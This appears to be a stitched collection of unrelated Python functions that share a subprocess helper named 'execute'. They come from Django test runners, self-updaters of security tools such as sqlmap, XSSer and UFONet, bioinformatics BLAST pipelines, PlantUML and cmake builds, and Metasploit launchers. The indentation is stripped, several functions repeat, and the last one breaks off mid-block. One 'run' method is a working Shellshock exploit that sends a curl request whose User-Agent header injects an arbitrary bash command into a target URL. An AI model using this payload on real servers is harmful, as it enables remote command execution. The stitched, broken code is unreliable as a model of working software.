def runtests(foo, settings='settings', extra=[]):
if isinstance(foo, ModuleType):
settings = foo.__name__
apps = foo.INSTALLED_APPS
else:
apps = foo
execute(['./manage.py', 'test', '--settings', settings] + extra + apps)
def main(short):
# Run some basic tests outside Django's test environment.
execute_python('''
from mongodb.models import RawModel
RawModel.objects.create(raw=41)
RawModel.objects.update(raw=42)
RawModel.objects.all().delete()
RawModel.objects.create(raw=42)
''')
import settings
import settings.dbindexer
import settings.slow_tests
runtests(settings, extra=['--failfast'] if short else [])
# Assert we didn't touch the production database.
execute_python('''
from mongodb.models import RawModel
assert RawModel.objects.get().raw == 42
''')
if short:
exit()
# Make sure we can syncdb.
execute(['./manage.py', 'syncdb', '--noinput'])
runtests(settings.dbindexer)
runtests(['router'], 'settings.router')
runtests(settings.INSTALLED_APPS, 'settings.debug')
runtests(settings.slow_tests, test_builtin=True)
def __init__(self):
rootDir = os.path.abspath(
os.path.join(os.path.dirname(__file__), '..', ''))
if not os.path.exists(os.path.join(rootDir, ".git")):
print "Not any .git repository found!\n"
print "=" * 30
print "\nYou should checkout UFONet manually with:\n"
print "$ git clone https://github.com/epsylon/ufonet\n"
else:
checkout = execute("git checkout master",
shell=True,
stdout=PIPE,
stderr=PIPE).communicate()[0]
if "fast-forwarded" in checkout:
reset = execute("git fetch --all",
shell=True,
stdout=PIPE,
stderr=PIPE).communicate()
pull = execute("git reset --hard origin/master",
shell=True,
stdout=PIPE,
stderr=PIPE).communicate()
print "Congratulations!! UFONet has been updated to latest version ;-)\n"
else:
print "You are updated! ;-)\n"
def main(short):
# Run some basic tests outside Django's test environment
execute_python('''
from mongodb.models import RawModel
RawModel.objects.create(raw=41)
RawModel.objects.update(raw=42)
RawModel.objects.all().delete()
RawModel.objects.create(raw=42)
''')
import settings
import settings.dbindexer
import settings.slow_tests
runtests(settings, extra=['--failfast'] if short else [])
# assert we didn't touch the production database
execute_python('''
from mongodb.models import RawModel
assert RawModel.objects.get().raw == 42
''')
if short:
exit()
# Make sure we can syncdb.
execute(['./manage.py', 'syncdb', '--noinput'])
runtests(settings.dbindexer)
runtests(['router'], 'settings.router')
runtests(settings.INSTALLED_APPS, 'settings.debug')
runtests(settings.slow_tests, test_builtin=True)
def job():
print("I'm working...")
p = os.getcwd()
f = p
os.chdir(f)
execute_command = 'python crawl_manager.py -d 1'
execute(execute_command.split())
def runtests(foo, settings='settings', extra=[]):
if isinstance(foo, ModuleType):
settings = foo.__name__
apps = foo.INSTALLED_APPS
else:
apps = foo
execute(['./manage.py', 'test', '--settings', settings] + extra + apps)
def main(short):
# Run some basic tests outside Django's test environment
execute_python('''
from mongodb.models import RawModel
RawModel.objects.create()
RawModel.objects.all().delete()
RawModel.objects.update()
''')
import settings
import settings_dbindexer
import settings_slow_tests
runtests(settings, extra=['--failfast'] if short else [])
# assert we didn't touch the production database
execute_python('''
from pymongo import Connection
print Connection().test.mongodb_rawmodel.find()
assert Connection().test.mongodb_rawmodel.find_one()['raw'] == 42
''')
if short:
exit()
# Make sure we can syncdb.
execute(['./manage.py', 'syncdb', '--noinput'])
runtests(settings_dbindexer)
runtests(['router'], 'settings_router')
runtests(settings.INSTALLED_APPS, 'settings_debug')
runtests(settings_slow_tests)
def generate_filter_file(acr_aca_file, rpsdb_file, INTERMEDIATES):
sequence = ''
with open(acr_aca_file, 'r') as acr_file:
for locus in getLocus(acr_file):
proteins = locus.split('\n')
if proteins[0].startswith('#'):
proteins = proteins[1:len(proteins)]
for protein in proteins:
item_list = protein.split('\t')
if item_list[-4] == 'Acr':
sequence += '>' + item_list[6] + '\n' + item_list[-1] + '\n'
fasta_file = INTERMEDIATES + 'final_acr.fasta'
with open(fasta_file, 'w') as handle:
handle.write(sequence)
# run rpsblast here
rpsblast_file = INTERMEDIATES + 'final_rpsblast.out'
execute([
'rpsblast+', '-query', fasta_file, '-db', rpsdb_file, '-evalue',
'.001', '-outfmt', '6', '-out', rpsblast_file
])
return fasta_file, rpsblast_file
def main(short):
# Run some basic tests outside Django's test environment
execute(
['python', '-c', 'from general.models import Blog\n'
'Blog.objects.create()\n'
'Blog.objects.all().delete()\n'
'Blog.objects.update()'],
env=dict(os.environ, DJANGO_SETTINGS_MODULE='settings', PYTHONPATH='..')
)
import settings
import settings_dbindexer
import settings_slow_tests
runtests(settings, extra=['--failfast'] if short else [])
if short:
exit()
# Make sure we can syncdb.
execute(['./manage.py', 'syncdb', '--noinput'])
runtests(settings_dbindexer)
runtests(['router'], 'settings_router')
runtests(settings.INSTALLED_APPS, 'settings_debug')
runtests(settings_slow_tests)
def use_cdd(candidateAcrs, ORGANISM_SUBJECT, NEIGHBORHOOD_FAA_PATH,
CDD_RESULTS_PATH, CDD_DB_PATH, PROTEIN_UP_DOWN,
MIN_NUM_PROTEINS_MATCH_CDD, isProdigalUsed, BLAST_TYPE,
THREADS_NUM):
with open(NEIGHBORHOOD_FAA_PATH, 'w') as handle:
neighborsFaaStr, NEIGHBORHOOD_NUM_maps_NEIGHBORHOOD_WP = get_acr_neighbors(
candidateAcrs, ORGANISM_SUBJECT, PROTEIN_UP_DOWN)
handle.write(neighborsFaaStr)
from subprocess import call as execute
if BLAST_TYPE == 'blastp':
execute([
'blastp', '-query', NEIGHBORHOOD_FAA_PATH, '-db', CDD_DB_PATH,
'-evalue', '.01', '-outfmt', '7', '-num_threads', THREADS_NUM,
'-out', CDD_RESULTS_PATH
])
elif BLAST_TYPE == 'rpsblast':
execute([
'rpsblast+', '-query', NEIGHBORHOOD_FAA_PATH, '-db', CDD_DB_PATH,
'-evalue', '.01', '-outfmt', '7', '-out', CDD_RESULTS_PATH
])
return parse_cdd_results(CDD_RESULTS_PATH,
NEIGHBORHOOD_NUM_maps_NEIGHBORHOOD_WP,
MIN_NUM_PROTEINS_MATCH_CDD, isProdigalUsed)
def build_extension(self, ext):
SOURCE_DIR = ext.sourcedir
EXT_DIR = path.abspath(path.dirname(self.get_ext_fullpath(ext.name)))
BUILD_TEMP = self.build_temp
shutil.rmtree(BUILD_TEMP, ignore_errors=True)
os.makedirs(BUILD_TEMP)
# Run cmake
build_type = 'Debug' if self.debug else 'Release'
if 0 != execute(
[
'cmake',
'-DCMAKE_GENERATOR_PLATFORM=x64',
'-DCMAKE_BUILD_TYPE={}'.format(build_type),
'-DCMAKE_VERBOSE_MAKEFILE={}'.format(int(self.verbose)),
"-DCMAKE_LIBRARY_OUTPUT_DIRECTORY='{}'".format(EXT_DIR),
# set Debug and Release paths to the output directory on Windows
"-DCMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG='{}'".format(EXT_DIR),
"-DCMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE='{}'".format(
EXT_DIR),
self.cmake_args or "--",
SOURCE_DIR
],
cwd=BUILD_TEMP):
sys.exit('\nERROR: Cannot generate Makefile. See above errors.')
# Run make
cmd = 'cmake --build .'
# For MSVC specify build type at build time
# https://stackoverflow.com/q/24460486/1925996
if sys.platform.startswith('win'):
cmd += ' --config ' + build_type
if 0 != execute(cmd, shell=True, cwd=BUILD_TEMP):
sys.exit('\nERROR: Cannot find make? See above errors.')
def main(short):
# Run some basic tests outside Django's test environment
execute([
'python', '-c', 'from general.models import Blog\n'
'Blog.objects.create()\n'
'Blog.objects.all().delete()\n'
'Blog.objects.update()'
],
env=dict(os.environ,
DJANGO_SETTINGS_MODULE='settings',
PYTHONPATH='..'))
import settings
import settings_dbindexer
import settings_slow_tests
runtests(settings, extra=['--failfast'] if short else [])
if short:
exit()
# Make sure we can syncdb.
execute(['./manage.py', 'syncdb', '--noinput'])
runtests(settings_dbindexer)
runtests(['router'], 'settings_router')
runtests(settings.INSTALLED_APPS, 'settings_debug')
runtests(settings_slow_tests)
def command(text, success_message):
try:
execute(text.split(' '))
print(success_message)
except CalledProcessError as e:
print(f'Something went wrong.\n'
f'Error code: {e.returncode}\n'
f'More info: {e.output}\n')
exit(1)
def runtests(foo, settings='settings', extra=[], test_builtin=False):
if isinstance(foo, ModuleType):
settings = foo.__name__
apps = foo.INSTALLED_APPS
else:
apps = foo
if not test_builtin:
apps = filter(lambda name: not name.startswith('django.contrib.'), apps)
execute(['./manage.py', 'test', '--settings', settings] + extra + apps)
def runtests(foo, settings="settings", extra=[], test_builtin=False):
if isinstance(foo, ModuleType):
settings = foo.__name__
apps = foo.INSTALLED_APPS
else:
apps = foo
if not test_builtin:
apps = filter(lambda name: not name.startswith("django.contrib."), apps)
apps = [app.replace("django.contrib.", "") for app in apps]
execute(["./manage.py", "test", "--settings", settings] + extra + apps)
def runtests(foo, settings='settings', extra=[], test_builtin=False):
if isinstance(foo, ModuleType):
settings = foo.__name__
apps = foo.INSTALLED_APPS
else:
apps = foo
if not test_builtin:
apps = filter(lambda name: not name.startswith('django.contrib.'), apps)
apps = [app.replace('django.contrib.', '') for app in apps]
execute(['./manage.py', 'test', '--settings', settings] + extra + apps)
def produce_tex(template, filename, context, compile=True):
"""Генерирует новый .tex-файл РПД, подставляя данные контекста в шаблон.
Если compile==True, вызывает xelatex на полученном файле"""
fn = splitpath(filename)[1]
tex_file = splitext(fn)[0] + '.tex'
output = open(tex_file, 'w', encoding='utf-8')
output.write(template.render(**context))
output.close()
if compile:
sleep(0.5)
execute(['xelatex', '--synctex=1', tex_file])
def run(self):
from subprocess import run as execute
from sys import exit
try:
exploit = 'curl -H \"user-agent: () { :; }; echo; echo; /bin/bash -c '
exploit += '\'' + self.cmd + '\'"'
exploit += ' ' + self.url
print(f"Executing payload:\n{exploit}")
execute(exploit, shell=True)
except:
raise Exception("an error occured running the exploit!!!")
return
def runtests(foo, settings='settings', extra=[], test_builtin=False):
if isinstance(foo, ModuleType):
settings = foo.__name__
apps = foo.INSTALLED_APPS
else:
apps = foo
if not test_builtin:
apps = [name for name in apps if not name.startswith('django.contrib.')]
# pre-1.6 test runners don't understand full module names
import django
if django.VERSION < (1, 6):
apps = [app.replace('django.contrib.', '') for app in apps]
execute(['./manage.py', 'test', '--settings', settings] + extra + apps)
def create_gff_faa_with_prodigal(FNA_FILE, DIR, GCF):
print('Using prodigal to generate gff and faa file...')
GFF_FILE = DIR + GCF + '.gff'
FAA_FILE = DIR + GCF + '.faa'
execute([
'prodigal', '-f', 'gff', '-i', FNA_FILE, '-o', GFF_FILE, '-q', '-a',
FAA_FILE
])
execute(['cp', FNA_FILE, SUBJECTS_DIR])
print('Done\n\n')
return GFF_FILE, FAA_FILE
def runtests(foo, settings='settings', extra=[], test_builtin=False):
if isinstance(foo, ModuleType):
settings = foo.__name__
apps = foo.INSTALLED_APPS
else:
apps = foo
if not test_builtin:
apps = filter(lambda name: not name.startswith('django.contrib.'),
apps)
# pre-1.6 test runners don't understand full module names
import django
if django.VERSION < (1, 6):
apps = [app.replace('django.contrib.', '') for app in apps]
execute(['./manage.py', 'test', '--settings', settings] + extra + apps)
def __init__(self):
rootDir = os.path.abspath(os.path.join(os.path.dirname( __file__ ), '..', ''))
if not os.path.exists(os.path.join(rootDir, ".git")):
print "Not any .git repository found!\n"
print "="*30
print "\nYou should checkout UFONet manually with:\n"
print "$ git clone https://github.com/epsylon/ufonet\n"
else:
checkout = execute("git checkout master", shell=True, stdout=PIPE, stderr=PIPE).communicate()[0]
if "fast-forwarded" in checkout:
reset = execute("git fetch --all", shell=True, stdout=PIPE, stderr=PIPE).communicate()
pull = execute("git reset --hard origin/master", shell=True, stdout=PIPE, stderr=PIPE).communicate()
print "Congratulations!! UFONet has been updated to latest version ;-)\n"
else:
print "You are updated! ;-)\n"
def __init__(self):
GIT_REPOSITORY = "https://github.com/epsylon/xsser-public"
rootDir = os.path.abspath(os.path.join(os.path.dirname( __file__ ), '..', ''))
if not os.path.exists(os.path.join(rootDir, ".git")):
print "Not any .git repository found!\n"
print "="*30
print "\nYou should clone XSSer manually with:\n"
print "$ git clone %s" % GIT_REPOSITORY + "\n"
else:
checkout = execute("git checkout .", shell=True, stdout=PIPE, stderr=PIPE).communicate()[0]
if "fast-forwarded" in checkout:
pull = execute("git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=PIPE, stderr=PIPE).communicate()
print "Congratulations!! XSSer has been updated to latest version ;-)\n"
else:
print "You are updated! ;-)\n"
def __init__(self):
GIT_REPOSITORY = "https://github.com/epsylon/cintruder"
rootDir = os.path.abspath(os.path.join(os.path.dirname( __file__ ), '..', ''))
if not os.path.exists(os.path.join(rootDir, ".git")):
print "Not any .git repository found!\n"
print "="*30
print "\nTo have working this feature, you should clone CIntruder with:\n"
print "$ git clone %s" % GIT_REPOSITORY +"\n"
else:
checkout = execute("git checkout .", shell=True, stdout=PIPE, stderr=PIPE).communicate()[0]
if "fast-forwarded" in checkout:
pull = execute("git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=PIPE, stderr=PIPE).communicate()
print "Congratulations!! CIntruder has been updated to latest version ;-)\n"
else:
print "You are updated! ;-)\n"
def update(self):
if not os.path.dirname(os.path.abspath(__file__)):
print("not a git repository. Please checkout " + "the 'rfunix/Pompem' repository")
print("from GitHub (e.g. git clone " + "https://github.com/rfunix/Pompem.git Pompem-dev")
else:
print("updating Pompem to the latest development version" + " from the GitHub repository")
print("[{0}] [INFO] update in progress ".format(time.strftime("%X")))
process = execute("git pull {0} HEAD".format(self.git_repository), shell=True, stdout=PIPE, stderr=PIPE)
self.companying_process(process)
stdout, stderr = process.communicate()
success = not process.returncode
if success:
print("Update was successful")
else:
print("Update unrealized")
if not success:
if "windows" in str(platform.system()).lower():
print("for Windows platform it's recommended ")
print("to use a GitHub for Windows client for updating ")
print("purposes (http://windows.github.com/) or just ")
print("download the latest snapshot from ")
print("https://github.com/rfunix/Pompem.git")
else:
print("for Linux platform it's required ")
print("to install a standard 'git' package" + "(e.g.: 'sudo apt-get install git')")
return success
def check_plantuml_version(self):
puml = execute(
[
'java',
'-jar',
self.plantuml_jar_path,
'-version'
],
stdout=PIPE,
stderr=STDOUT
)
version_output = ''
first = True
while first or puml.returncode is None:
first = False
(stdout, stderr) = puml.communicate()
version_output += stdout
print "Version Detection:"
print version_output
assert puml.returncode == 0, "PlantUML returned an error code"
assert self.PLANTUML_VERSION_STRING in version_output, \
"error verifying PlantUML version"
def getRevisionNumber():
"""
Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD"
"""
retVal = None
filePath = None
_ = os.path.dirname(__file__)
while True:
filePath = os.path.join(_, ".git/refs/heads/master").replace('/', os.path.sep)
if os.path.exists(filePath):
break
else:
filePath = None
if _ == os.path.dirname(_):
break
else:
_ = os.path.dirname(_)
if filePath:
with open(filePath, "r") as f:
match = re.match(r"(?i)[0-9a-f]{32}", f.read())
retVal = match.group(0) if match else None
if not retVal:
process = execute("git rev-parse --verify HEAD", shell=True, stdout=PIPE, stderr=PIPE)
stdout, _ = process.communicate()
match = re.search(r"(?i)[0-9a-f]{32}", stdout or "")
retVal = match.group(0) if match else None
return retVal[:7] if retVal else None
def update(self):
if self.check():
# Instead of checking tag names, commit hashes is checked for
# foolproof method.
if self.last_commit_hash() != self.remote_tags[0]["commit"]["sha"]:
cprint(
"Trying to update OWTF to %s" %
self.remote_tags[0]["name"])
command = (
"git pull; git reset --soft %s" %
self.remote_tags[0]["name"])
process = execute(
command,
shell=True,
env=self.process_environ,
stdout=PIPE, stderr=PIPE)
stdout, stderr = process.communicate()
success = not process.returncode
if success:
cprint(
"OWTF Successfully Updated to Latest Stable Version!!")
cprint("Version Tag: %s" % self.remote_tags[0]["name"])
cprint(
"Please run install script if you face any errors "
"after updating")
else:
cprint("Unable to update :(")
else:
cprint(
"Seems like you are running latest version => %s" %
self.remote_tags[0]["name"])
cprint("Happy pwning!! :D")
def update(self):
if not os.path.dirname(os.path.abspath(__file__)):
print("not a git repository. Please checkout the 'rfunix/Pompem' repository")
print("from GitHub (e.g. git clone https://github.com/rfunix/Pompem.git Pompem-dev")
else:
print ("updating Pompem to the latest development version from the GitHub repository")
print ("[%s] [INFO] update in progress " % time.strftime("%X"))
process = execute("git pull %s HEAD" % self.gitRepository, shell=True, stdout=PIPE, stderr=PIPE)
self.companyingProcess(process)
stdout, stderr = process.communicate()
success = not process.returncode
if success:
print("Update was successful")
else:
print("Update unrealized")
if not success:
if "windows" in str(platform.system()).lower():
print("for Windows platform it's recommended ")
print("to use a GitHub for Windows client for updating ")
print("purposes (http://windows.github.com/) or just ")
print("download the latest snapshot from ")
print("https://github.com/rfunix/Pompem.git")
else:
print("for Linux platform it's required ")
print("to install a standard 'git' package (e.g.: 'sudo apt-get install git')")
return success
def update():
if not conf.updateAll:
return
rootDir = paths.SQLMAP_ROOT_PATH
infoMsg = "updating sqlmap to the latest development version from the "
infoMsg += "GitHub repository"
logger.info(infoMsg)
debugMsg = "sqlmap will try to update itself using 'git' command"
logger.debug(debugMsg)
dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
process = execute("git pull %s" % rootDir, shell=True, stdout=PIPE, stderr=PIPE)
pollProcess(process, True)
stdout, stderr = process.communicate()
if not process.returncode:
logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", REVISION))
else:
logger.error("update could not be completed (%s)" % repr(stderr))
if IS_WIN:
infoMsg = "for Windows platform it's recommended "
infoMsg += "to use a GitHub for Windows client for updating "
infoMsg += "purposes (http://windows.github.com/)"
else:
infoMsg = "for Linux platform it's recommended "
infoMsg += "to use a standard 'git' package (e.g.: 'sudo apt-get install git')"
logger.info(infoMsg)
def _convert_headered_wavefile_to_flac(inputfilename,
outputfilename):
"""
Converts a wavefile into flac data file
Arguments:
- `inputfilename`: Read Headered wave data from this file
- `outputfilename`: Save FLAC data to this file (overwrite existing file)
FLAC will be saved at 16k samples/sec
"""
conversion_command = [sox_binary,
inputfilename,
"-t", "flac",
"-r", "16k",
outputfilename]
conversion_success = True
retcode = 0
try:
retcode = execute(conversion_command)
except Exception as e:
print >> sys.stderr, "Error: %s" % e
conversion_success = False
if retcode != 0:
conversion_success = False
return conversion_success
def __init__(self):
GIT_REPOSITORY = "https://code.03c8.net/epsylon/xsser"
GIT_REPOSITORY2 = "https://github.com/epsylon/xsser"
rootDir = os.path.abspath(
os.path.join(os.path.dirname(__file__), '..', ''))
if not os.path.exists(".git"):
print("Not any .git repository found!\n")
print("=" * 30)
print(
"\nTo have working this feature, you should clone XSSer with:\n"
)
print("$ git clone %s" % GIT_REPOSITORY)
print("\nAlso you can try this other mirror:\n")
print("$ git clone %s" % GIT_REPOSITORY2 + "\n")
else:
checkout = execute("git checkout . && git pull",
shell=True,
stdout=PIPE,
stderr=PIPE).communicate()[0]
print("[Info] [GitHub] Reply:\n\n" + checkout.decode('utf-8'))
if not b"Already up-to-date" in checkout:
print(
"[Info] [AI] Congratulations!! XSSer has been updated... ;-)\n"
)
else:
print(
"[Info] [AI] Your XSSer doesn't need to be updated... ;-)\n"
)
def _generate(self):
command = [
'java',
'-jar',
self.proc.plantuml_jar_path,
'-pipe',
'-tpng',
'-charset',
'UTF-8'
]
charset = self.proc.CHARSET
if charset:
print('using charset: ' + charset)
command.append("-charset")
command.append(charset)
puml = execute(
command,
stdin=PIPE, stdout=self.file,
**EXTRA_CALL_ARGS
)
puml.communicate(input=self.text.encode('UTF-8'))
if puml.returncode != 0:
print("Error Processing Diagram:")
print(self.text)
return
else:
return self.file
def __init__(self):
GIT_REPOSITORY = "https://code.03c8.net/epsylon/pydog4apache"
GIT_REPOSITORY2 = "https://github.com/epsylon/pydog4apache"
rootDir = os.path.abspath(
os.path.join(os.path.dirname(__file__), '..', ''))
if not os.path.exists(os.path.join(rootDir, ".git")):
print("-" * 22)
print("\n[Info] Not any .git repository found!")
print(
"\nTo have working this feature, you should clone pydgo4apache with:\n"
)
print("$ git clone %s" % GIT_REPOSITORY)
print("\nAlso you can try this other mirror:\n")
print("$ git clone %s" % GIT_REPOSITORY2 + "\n")
else:
checkout = execute("git checkout . && git pull",
shell=True,
stdout=PIPE,
stderr=PIPE).communicate()[0]
print(checkout)
if not "Already up-to-date" in checkout:
print(
"Congratulations!! pydog4apache has been updated... ;-)\n")
else:
print("Your pydog4apache doesn't need to be updated... ;-)\n")
def pack(self, srcFile, dstFile=None):
self.__initialize(srcFile, dstFile)
logger.debug("executing local command: %s" % self.__upxCmd)
process = execute(self.__upxCmd, shell=True, stdout=PIPE, stderr=STDOUT)
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
pollProcess(process)
upxStdout, upxStderr = process.communicate()
if hasattr(self, '__upxTempExe'):
os.remove(self.__upxTempExe.name)
msg = "failed to compress the file"
if "NotCompressibleException" in upxStdout:
msg += " because you provided a Metasploit version above "
msg += "3.3-dev revision 6681. This will not inficiate "
msg += "the correct execution of sqlmap. It might "
msg += "only slow down a bit the execution"
logger.debug(msg)
elif upxStderr:
logger.warn(msg)
else:
return os.path.getsize(srcFile)
return None
def pack(self, srcFile, dstFile=None):
self.__initialize(srcFile, dstFile)
logger.debug("executing local command: %s" % self.__upxCmd)
process = execute(self.__upxCmd,
shell=True,
stdout=PIPE,
stderr=STDOUT)
dataToStdout("\r[%s] [INFO] compression in progress " %
time.strftime("%X"))
pollProcess(process)
upxStdout, upxStderr = process.communicate()
if hasattr(self, '__upxTempExe'):
os.remove(self.__upxTempExe.name)
msg = "failed to compress the file"
if "NotCompressibleException" in upxStdout:
msg += " because you provided a Metasploit version above "
msg += "3.3-dev revision 6681. This will not inficiate "
msg += "the correct execution of sqlmap. It might "
msg += "only slow down a bit the execution"
logger.debug(msg)
elif upxStderr:
logger.warn(msg)
else:
return os.path.getsize(srcFile)
return None
def update(self):
# The main update method
if self.check():
# Insted of checking tag names, commit hashes is checked for foolproof method
if self.last_commit_hash() != self.remote_tags[0]["commit"]["sha"]:
cprint("Trying to update OWTF to %s" %
(self.remote_tags[0]["name"]))
command = ("git pull; git reset --soft %s" %
(self.remote_tags[0]["name"]))
process = execute(command,
shell=True,
env=self.process_environ,
stdout=PIPE,
stderr=PIPE)
stdout, stderr = process.communicate()
success = not process.returncode
if success:
cprint(
"OWTF Successfully Updated to Latest Stable Version!!")
cprint("Version Tag: %s" % (self.remote_tags[0]["name"]))
cprint(
"Please run install script if you face any errors after updating"
)
else:
cprint("Unable to update :(")
else:
cprint("Seems like you are running latest version => %s" %
(self.remote_tags[0]["name"]))
cprint("Happy pwning!! :D")
def _generate(self):
command = [
'java',
'-jar',
self.proc.plantuml_jar_path,
'-pipe',
'-t%s' % self.output,
'-charset',
'UTF-8'
]
charset = self.proc.CHARSET
if charset:
print('using charset: ' + charset)
command.append("-charset")
command.append(charset)
puml = execute(
command,
stdin=PIPE, stdout=self.file, stderr=DEVNULL,
**EXTRA_CALL_ARGS
)
puml.communicate(input=self.text.encode('UTF-8'))
if puml.returncode != 0:
print("Error Processing Diagram:")
print(self.text)
return
else:
return self.file
def generate(self, index, isPreview):
outputFormat = self.proc.FORMAT
startDir = split(self.sourceFile)[0]
fileName = self.get_file_name(index)+'.'+outputFormat
status_message("Generating Diagram: "+fileName)
if isPreview:
outputfile =join(gettempdir(), 'TempDiagrams', fileName)
else:
outputfile =join(startDir, fileName)
# print(outputfile)
newPath = split(outputfile)[0]
if not exists(newPath):
print(newPath+' not exists, creating...')
makedirs(newPath)
else:
if not isdir(newPath):
error_message(
'The path is already exists, and it''s not a folder.\\n'+
newPath+'\\n'+
'Please remove or rename it before you generate diagrams.'
)
return
self.file = open(outputfile,"w")
# cmd='java -Dplantuml.include.path="%s" -jar "%s" -pipe -t%s' % (startDir,self.proc.plantuml_jar_path, outputFormat)
# command=shlex_split(cmd)
command = [
'java',
'-Dplantuml.include.path=%s' % startDir,
'-jar',
self.proc.plantuml_jar_path,
'-pipe',
'-t'+outputFormat
]
charset = self.proc.CHARSET
if charset:
pass
else:
charset = 'UTF-8'
#print('using charset: '+charset)
command.append("-charset")
command.append(charset)
puml = execute(
command,
stdin=PIPE, stdout=self.file,
**EXTRA_CALL_ARGS
)
puml.communicate(input=self.text.encode(charset))
if puml.returncode != 0:
print("Error Processing Diagram:")
print(self.text)
return
else:
return self.file
def getRevisionNumber():
retVal = None
filePath = None
_ = os.path.dirname(__file__)
while True:
filePath = os.path.join(_, ".git/refs/heads/master").replace('/', os.path.sep)
if os.path.exists(filePath):
break
else:
filePath = None
if _ == os.path.dirname(_):
break
else:
_ = os.path.dirname(_)
if filePath:
with open(filePath, "r") as f:
match = re.match(r"(?i)[0-9a-f]{32}", f.read())
retVal = match.group(0) if match else None
if not retVal:
process = execute("git rev-parse --verify HEAD", shell=True, stdout=PIPE, stderr=PIPE)
stdout, _ = process.communicate()
match = re.search(r"(?i)[0-9a-f]{32}", stdout or "")
retVal = match.group(0) if match else None
return retVal[:10] if retVal else None
def scrapy_ccass(d):
p = os.getcwd()
queue_folder = p + '/' + 'queue'
queue_file = datetime2filename(d=queue_folder)
with open(queue_file, 'a') as outfile:
json.dump(d, outfile)
# change working directory and run spider
spider_folder = p + '/' + 'crawl_worker'
os.chdir(spider_folder)
spider_name = 'get_ccass'
execute_command = 'scrapy crawl ' + spider_name + ' -a queue_file=' + queue_file
execute(execute_command.split())
# return working directory
os.chdir(p)
def last_commit_hash(self):
# This function returns the last commit hash in local repo
command = ("git --git-dir=%s log -n 1 "%(self.git_dir))
command += "--pretty=format:%H"
process = execute(command, shell=True, env=self.process_environ, stdout=PIPE, stderr=PIPE)
stdout, stderr = process.communicate()
commit_hash = stdout.strip()
return commit_hash
def _runMsfCli(self, exitfunc):
self._forgeMsfCliCmd(exitfunc)
infoMsg = "running Metasploit Framework command line "
infoMsg += "interface locally, please wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self._cliCmd)
self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
def initialize(self, service=None):
""" Initializes the test environment """
if service:
self.fnull = open(os.devnull, 'w')
self.service = execute(service, stdout=self.fnull, stderr=self.fnull)
log.debug("%s service started: %s", service, self.service.pid)
time.sleep(0.2)
else: self.service = None
log.debug("%s context started", self.context)
def __runMsfCli(self, exitfunc):
self.__forgeMsfCliCmd(exitfunc)
infoMsg = "running Metasploit Framework command line "
infoMsg += "interface locally, please wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__cliCmd)
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
def blast_spacers(SELECT_SPACER_FASTA: str, MASKED_FNA: str, DIR: str):
BLAST_FILE = DIR + 'blast_out.txt' # file to store blastn results
REQURIED_IDENTITY = '95.0' # percent identity needed in order to consider blast result
print('\n\nUsing blastn on CRISPR arrays...')
execute(
['makeblastdb', '-in', MASKED_FNA, '-dbtype', 'nucl']
) # makes DB for blast using the masked FNA file created in previous steps
with open(BLAST_FILE, 'w') as handle:
execute([
'blastn', '-db', MASKED_FNA, '-query', SELECT_SPACER_FASTA,
'-outfmt', '6', '-perc_identity', REQURIED_IDENTITY
],
stdout=handle) # runs blastn
print('\nDone\n\n')
return BLAST_FILE
def __runMsfConsole(self):
infoMsg = "running Metasploit Framework 3 console locally, please wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__consoleCmd)
self.__msfConsoleProc = execute(self.__consoleCmd,
shell=True,
stdin=PIPE,
stdout=PIPE,
stderr=PIPE)
def generate(self, index, isPreview):
outputFormat = self.proc.FORMAT
startDir = split(self.sourceFile)[0]
fileName = self.get_file_name(index) + '.' + outputFormat
status_message("Generating Diagram: " + fileName)
if isPreview:
outputfile = os.sep.join([gettempdir(), 'TempDiagrams', fileName])
else:
outputfile = os.sep.join([startDir, fileName])
print(outputfile)
newPath = split(outputfile)[0]
if not exists(newPath):
print(newPath + ' not exists, creating...')
makedirs(newPath)
else:
if not isdir(newPath):
error_message(
'The path is already exists, and it'
's not a folder.\\n' + newPath + '\\n' +
'Please remove or rename it before you generate diagrams.')
return
self.file = open(outputfile, "w")
# cmd='java -Dplantuml.include.path="%s" -jar "%s" -pipe -t%s' % (startDir,self.proc.plantuml_jar_path, outputFormat)
# command=shlex_split(cmd)
command = [
'java',
'-Dplantuml.include.path=%s' % startDir, '-jar',
self.proc.plantuml_jar_path, '-pipe', '-t' + outputFormat
]
charset = self.proc.CHARSET
if charset:
pass
else:
charset = 'UTF-8'
#print('using charset: '+charset)
command.append("-charset")
command.append(charset)
puml = execute(command,
stdin=PIPE,
stdout=self.file,
**EXTRA_CALL_ARGS)
puml.communicate(input=self.text.encode(charset))
if puml.returncode != 0:
print("Error Processing Diagram:")
print(self.text)
return
else:
return self.file
def __updateSqlmap():
rootDir = paths.SQLMAP_ROOT_PATH
infoMsg = "updating sqlmap to latest development version from the "
infoMsg += "subversion repository"
logger.info(infoMsg)
try:
import pysvn
debugMsg = "sqlmap will update itself using installed python-svn "
debugMsg += "third-party library, http://pysvn.tigris.org/"
logger.debug(debugMsg)
def notify(event_dict):
action = str(event_dict['action'])
index = action.find('_')
prefix = action[index + 1].upper() if index != -1 else action.capitalize()
if action.find('_update') != -1:
return
if action.find('_completed') == -1:
print "%s\t%s" % (prefix, event_dict['path'])
else:
revision = str(event_dict['revision'])
index = revision.find('number ')
if index != -1:
revision = revision[index+7:].strip('>')
logger.info('updated to the latest revision %s' % revision)
client = pysvn.Client()
client.callback_notify = notify
client.update(rootDir)
except ImportError, _:
debugMsg = "sqlmap will try to update itself using 'svn' command"
logger.debug(debugMsg)
process = execute("svn update %s" % rootDir, shell=True, stdout=PIPE, stderr=PIPE)
dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
pollProcess(process)
svnStdout, svnStderr = process.communicate()
if svnStderr:
errMsg = svnStderr.strip()
logger.error(errMsg)
elif svnStdout:
revision = re.search("revision\s+([\d]+)", svnStdout, re.I)
if revision:
